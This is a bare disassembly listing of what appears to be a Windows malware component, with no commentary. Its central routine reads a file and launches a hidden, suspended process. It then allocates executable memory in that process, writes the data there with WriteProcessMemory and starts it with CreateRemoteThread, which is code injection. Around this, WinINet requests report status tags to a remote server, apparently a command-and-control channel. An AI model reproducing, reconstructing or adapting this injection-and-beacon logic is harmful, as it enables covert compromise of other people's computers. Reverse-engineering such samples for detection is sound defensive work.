ja 0x140009fbe
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rdi, qword [rsp + 0x70]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140009ecf
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140009eca
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009fc5
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140009f18
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140009f13
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009fcc
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x140009f5e
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x140009f59
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140009fd3
mov rcx, r8
call fcn.14001dfb0
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1400090fc
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x1400090f7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x140009421
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 0x2710
call fcn.14001e2bc
mov qword [rsp + 0x60], rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rbp + 0x126], eax
mov dword [rbp + 0x120], 0x65545243
mov word [rbp + 0x124], 0x72
mov rcx, r12
call fcn.140003bd0
mov rdx, rax
mov rcx, r15
call fcn.140003bd0
mov r9, rax
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x120]
lea rdx, str._s_s______s
mov rcx, qword [rsp + 0x60]
call fcn.1400010e0
mov r9, rdi
mov rax, qword [rsp + 0x60]
nop
inc r9
cmp byte [rax + r9], 0
jne 0x14000a050
mov rcx, rsi
call fcn.140003bd0
inc rdi
cmp byte [rax + rdi], 0
jne 0x14000a062
mov r8, rdi
mov rcx, rsi
call fcn.140003bd0
mov rdx, rax
mov dword [rsp + 0x20], r9d
mov rdi, qword [rsp + 0x60]
mov r9, rdi
jmp 0x140009b19
mov ecx, ebx
add ecx, 0x400
cmovb rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
mov qword [rbp - 0x80], rax
add ebx, 0x400
movsxd rax, ebx
mov qword [rbp - 0x58], rax
mov r8, rax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xa0]
mov r8d, ebx
mov rdx, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_ReadFile]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb4], xmm0
movups xmmword [rbp + 0xc4], xmm0
movups xmmword [rbp + 0xd4], xmm0
movups xmmword [rbp + 0xe4], xmm0
movups xmmword [rbp + 0xf4], xmm0
movups xmmword [rbp + 0x104], xmm0
mov dword [rbp + 0x114], eax
mov dword [rbp + 0xb0], 0x68
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], rax
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova rdx, qword [rbp + 0x60]
lea rax, [rbp - 8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, r13
test eax, eax
je 0x14000a363
call fcn.140003bd0
mov r9, rax
mov rcx, r14
call fcn.140003bd0
mov r8, rax
mov rbx, qword [rsp + 0x60]
mov rcx, rbx
call fcn.140003bd0
mov rdx, rax
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x68]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
call qword [0x1400288a8]
mov qword [rbp - 0x68], rax
test rax, rax
je 0x140009b3d
mov ecx, 0x2710
call fcn.14001e2bc
mov qword [rsp + 0x60], rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rbp + 0x126], eax
mov dword [rbp + 0x120], 0x72635243
mov word [rbp + 0x124], 0x74
mov rcx, r12
call fcn.140003bd0
mov rdx, rax
mov rcx, r15
call fcn.140003bd0
mov r9, rax
mov ecx, dword [rbp + 8]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x120]
lea rdx, str._s_s____s____lu
mov rcx, qword [rsp + 0x60]
call fcn.1400010e0
mov r9, rdi
mov rax, qword [rsp + 0x60]
nop dword [rax + rax]
inc r9
cmp byte [rax + r9], 0
jne 0x14000a250
mov rcx, rsi
call fcn.140003bd0
inc rdi
cmp byte [rax + rdi], 0
jne 0x14000a262
mov r8, rdi
mov rcx, rsi
call fcn.140003bd0
mov rdx, rax
mov dword [rsp + 0x20], r9d
mov rdi, qword [rsp + 0x60]
mov r9, rdi
mov rcx, qword [rbp - 0x68]
call qword [0x1400288a0]
mov rcx, rdi
test eax, eax
jne 0x14000a2a5
call fcn.14001dfb0
mov rcx, qword [rbp - 0x68]
jmp 0x140009b37
call fcn.14001dfb0
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp - 0x58]
xor edx, edx
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x14000a34a
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x58]
mov r8, qword [rbp - 0x80]
mov rdx, rdi
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000a34a
mov ecx, dword [rbp - 0x60]
add ecx, 0x400
movsxd r8, ecx
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
mov r9, rdi
xor edx, edx
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edx, 0xffffffff
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140009b53
call fcn.140003bd0
mov r9, rax
mov rcx, r14
call fcn.140003bd0
mov r8, rax
mov rbx, qword [rsp + 0x60]
mov rcx, rbx
call fcn.140003bd0
mov rdx, rax
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x68]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
call qword [0x1400288a8]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140009b3d
mov ecx, 0x2710
call fcn.14001e2bc
mov qword [rbp - 0x80], rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rbp + 0x126], eax
mov dword [rbp + 0x120], 0x65545243
mov word [rbp + 0x124], 0x72
mov rcx, r12
call fcn.140003bd0
mov rdx, rax
mov rcx, r15
call fcn.140003bd0
mov r9, rax
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x120]
lea rdx, str._s_s______s
mov rcx, qword [rbp - 0x80]
call fcn.1400010e0
mov r9, rdi
mov rax, qword [rbp - 0x80]
nop dword [rax]
inc r9
cmp byte [rax + r9], 0
jne 0x14000a430
mov rcx, rsi
call fcn.140003bd0
inc rdi
cmp byte [rax + rdi], 0
jne 0x14000a442
mov r8, rdi
mov rcx, rsi
call fcn.140003bd0
mov rdx, rax
mov dword [rsp + 0x20], r9d
mov rdi, qword [rbp - 0x80]
mov r9, rdi
mov rcx, qword [rsp + 0x60]
call qword [0x1400288a0]
mov rcx, rdi
test eax, eax
jne 0x14000a486
call fcn.14001dfb0
mov rcx, qword [rsp + 0x60]
jmp 0x140009b37
call fcn.14001dfb0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x140023a00]
jmp 0x140009b5a
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x14000a4c5
mov rdx, qword [rdi]
mov r8, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x14000a4d2
mov r8, qword [r14]
mov r9, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x14000a4e0
mov r9, qword [r13]
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x68]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
call qword [0x1400288a8]
mov qword [rbp - 0x80], rax
test rax, rax
jne 0x14000a7ff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000a588
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000a583
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000acc3
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 0xf
mov byte [rbx], al
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x14000a5d4
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14000a5cd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000acca
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x14000a620
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000a61b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000acd1
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], r15b
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000a674
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000a66f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000acd8
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x14000a6bd
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x14000a6b8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000acdf
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000a70c
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000a707
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000ace6
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14000a755
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x14000a750
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000a7f8
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x14000a79f
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x14000a79a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000aa7a
mov rcx, r8
call fcn.14001dfb0
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1400090fc
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000a7e9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000aa81
mov rcx, r8
call fcn.14001dfb0
mov rax, qword [rsp + 0x50]
jmp 0x14000b40f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 0x2710
call fcn.14001e2bc
mov rdi, rax
mov qword [rbp - 0x70], rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rbp + 0x126], eax
mov dword [rbp + 0x120], 0x65545243
mov word [rbp + 0x124], 0x72
mov rax, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x14000a84a
mov rax, qword [r12]
mov r9, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x14000a857
mov r9, qword [r15]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x120]
lea rdx, str._s_s______s
mov rcx, rdi
call fcn.1400010e0
cmp qword [rsi + 0x18], 0xf
jbe 0x14000a881
mov rdx, qword [rsi]
mov r10, rdx
jmp 0x14000a887
mov r10, rsi
mov rdx, rsi
mov rdi, 0xffffffffffffffff
mov rax, rdi
mov rcx, qword [rbp - 0x70]
inc rax
cmp byte [rcx + rax], 0
jne 0x14000a895
nop
inc rdi
cmp byte [rdx + rdi], 0
jne 0x14000a8a0
mov r8, rdi
mov dword [rsp + 0x20], eax
mov rdi, rcx
mov r9, rcx
mov rdx, r10
mov rcx, qword [rbp - 0x80]
call qword [0x1400288a0]
mov rcx, rdi
test eax, eax
jne 0x14000aa88
call fcn.14001dfb0
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rdi, qword [rsp + 0x50]
movups xmmword [rdi], xmm0
xor eax, eax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rax
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rdi
call fcn.140003cc0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000a955
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000a950
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000acc3
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 0xf
mov byte [rbx], al
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x14000a9a1
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14000a99a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000acca
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rcx, r12
call fcn.140003be0
nop
mov rcx, qword [rsp + 0x68]
call fcn.140003be0
nop
mov rcx, r14
call fcn.140003be0
nop
mov rcx, qword [rsp + 0x70]
call fcn.140003be0
nop
mov rcx, qword [rsp + 0x60]
call fcn.140003be0
nop
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x14000aa1b
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x14000aa16
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000aa7a
mov rcx, r8
call fcn.14001dfb0
xor ebx, ebx
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], 0xf
mov byte [r13], bl
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14000aa63
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000aa5e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000aa81
mov rcx, r8
call fcn.14001dfb0
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rax, rdi
jmp 0x14000b41e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14001dfb0
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rdi, qword [rsp + 0x50]
movups xmmword [rdi], xmm0
xor eax, eax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rax
lea r8d, [rax + 1]
lea rdx, [0x140023a00]
mov rcx, rdi
call fcn.140003cc0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000ab10
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000ab0b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000acc3
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 0xf
mov byte [rbx], al
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x14000ab5c
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14000ab55
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000acca
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x14000aba8
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000aba3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000acd1
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], r15b
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000abfc
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000abf7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000acd8
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x14000ac45
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x14000ac40
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000acdf
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000ac90
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000ac8b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000ace6
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rsp + 0x60]
call fcn.140003be0
nop
mov rcx, r13
call fcn.140003be0
nop
mov rcx, rsi
call fcn.140003be0
mov rax, rdi
jmp 0x14000b41e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x14000acfa
mov rdx, qword [rdi]
mov r8, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x14000ad07
mov r8, qword [r14]
mov r9, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x14000ad15
mov r9, qword [r13]
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x68]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
call qword [0x1400288a8]
mov qword [rbp - 0x80], rax
test rax, rax
jne 0x14000b050
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000adbd
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000adb8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b02d
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 0xf
mov byte [rbx], al
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x14000ae09
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14000ae02
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b034
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x14000ae55
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000ae50
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b03b
mov rcx, r8
call fcn.14001dfb0
xor r15d, r15d
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], r15b
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000aea9
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000aea4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b042
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x14000aef2
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x14000aeed
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b049
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000af41
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000af3c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b49c
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14000af8a
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x14000af85
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b4a3
mov rcx, r8
call fcn.14001dfb0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x14000afd4
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x14000afcf
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b4aa
mov rcx, r8
call fcn.14001dfb0
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1400090fc
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000b01e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b4b1
mov rcx, r8
call fcn.14001dfb0
mov rax, qword [rsp + 0x50]
jmp 0x14000b40f
